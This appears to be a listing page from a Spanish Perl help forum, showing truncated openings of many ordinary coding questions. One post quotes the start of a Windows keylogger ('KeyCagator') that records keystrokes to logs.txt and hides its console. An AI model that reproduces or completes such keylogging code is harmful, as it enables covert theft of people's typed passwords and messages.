Foro - Perl en Español

Hola a todos. Deseo identificar las 'a' y las 'b' de la cadena para imprimirlas y contarlas.
Ejemplo:

Entrada: aababaabb\n

Salida ababab\n

Entrada: aaaab\n\n

Salida: ab\n\n

Es decir, si hay una 'a' o 'b', despliega la letra; si hay más de una 'a' o 'b', además de la letra despliega la cantidad en corchetes.

Además debo desplegar la cantidad de líneas en blanco que haya.

He hecho algo así, pero no funciona
while (<>) ...

Es un ejercicio muy sencillo y debo de estar fallando en alguna tontería pero el programa que he elaborado me devuelve como resultado el último valor introducido. ¿En qué me falla?

print "Introduzca la cantidad de números a sumar: ";
my $a = <STDIN>;
chomp($a);
while ( $a <= 0 ) {
print "Introduzca un número mayor de 0:";
my $a = <STDIN>;
chomp($a);
}
if ( $a > 0 ) {
my $n ...

Hola, soy nuevo por aquí pero no es la primera vez que estos foros me resuelven alguna duda. En este caso he encontrado un caso muy parecido pero sigue sin resolverme la papeleta:

interactuar-con-shell-script-t6175.html


Estoy intentando hacer un script en Perl que lance un programa, monitorice la salida estándar y si pide entrada de datos, interaccione (no sé de antemano si el programa va a pedir datos, de ahí ...

Hola compañeros,

He eliminado la primera fila de una serie de ficheros planos de la siguiente manera.
my @arxius_U = sort </home/enric/ASCII/2012042000/UGRD10m*.dat>;
my @arxius_V = sort </home/enric/ASCII/2012042000/VGRD10m*.dat>;

for my $arxius (@arxius_U) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
for my $arxius (@arxius_V) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}

Se elimina, pero ¿hay alguna manera de agrupar en menos líneas esta estructura? Básicamente estoy ...

Hola tengo el siguiente código.

#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010

use Win32::API;

my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );

while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num ( 0x30 .. 0x39 ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}

for my $num ( 0x41 .. 0x5A ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}

} ...

¡Hola! :D Soy nueva en Perl.. ¡A ver si me podéis ayudar con un problema!

Tengo una tabla con X líneas, las líneas tienen distinta longitud.

Ejemplo de una línea:
Abnormalities(C0000768) NAT2(10) CDH2(1000) SHFM3(100049542) MIR874(100126343)

Lo que quiero hacer es "limpiar" toda la tabla, quitando los códigos que están entre paréntesis.

Estoy intentado lo siguiente:
use strict;
open( FHANDLE, "Disease.txt" );
while (<FHANDLE>) {
chomp; ...

Hola

Tengo el siguiente script en CGI:

#!/usr/bin/perl

#(C) Gustavs Avotins, 2002

do 'sessions.cgi';
do 'sendemailfunc.cgi';

$DAYSDELAY = 0; # allow emailing once every $DAYSDELAY or more days, >= 0
$ALLOWONLYPAIDMEMBERS = 0; # allow only paid members to use this script. 1=yes, 0=no
# (set to 1 only if PaidMembers addon is installed)

# The text below will be added at the end of all messages when sent in TEXT format.
# By ...

Me sale este error y no sé qué sea.

Sub::Name object version 0.05 does not match bootstrap parameter 0.04 at /usr/lib/perl5/5.8.8/i386-linux-thread-multi/DynaLoader.pm line 253.
Compilation failed in require at /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/Class/MOP/Mixin/HasMethods.pm line 16.
BEGIN failed--compilation aborted at /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/Class/MOP/Mixin/HasMethods.pm line 16.
Compilation failed in require at /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/Class/MOP.pm line 25.
BEGIN failed--compilation aborted at /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/Class/MOP.pm line 25.
Compilation failed in require at libs//Moose/Exporter.pm line 11.
BEGIN failed--compilation aborted at libs//Moose/Exporter.pm line 11.
Compilation failed in require at libs//Moose.pm ...

Muy poco entiendo o no comprendo, hay una API que me dan un ejemplo para hacer una pregunta a un artículo de la página, pero no sé cómo lograrlo en Perl.

¿Cómo podría hacer esta petición en Perl al API?

curl -v -k -H "Content-Type: application/json" -X POST -d {
item_id:"<itemID>",
text:"Tenés de color rojo?"}
https://api.sitio.com/questions?access_token=APP_USR-242-041709-c6eba84d96fc5e38ff9b84d3adde7e01

Ojalá con WWW::Mechanize...

¡Hola! Soy estudiante y para aprender me dieron un código, donde la idea es que una página estática sea manejada por Perl, pero tiene esta forma :

$| = 1;
print <<ENDHTML_LAST

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

....

ENDHTML_LAST

Soy bastante nueva y no conozco mucho de Perl y menos de HTML, y no encuentro información sobre ENDHTML_LAST. ¿Alguien me podría ayudar para saber dónde obtengo información o saber de qué ...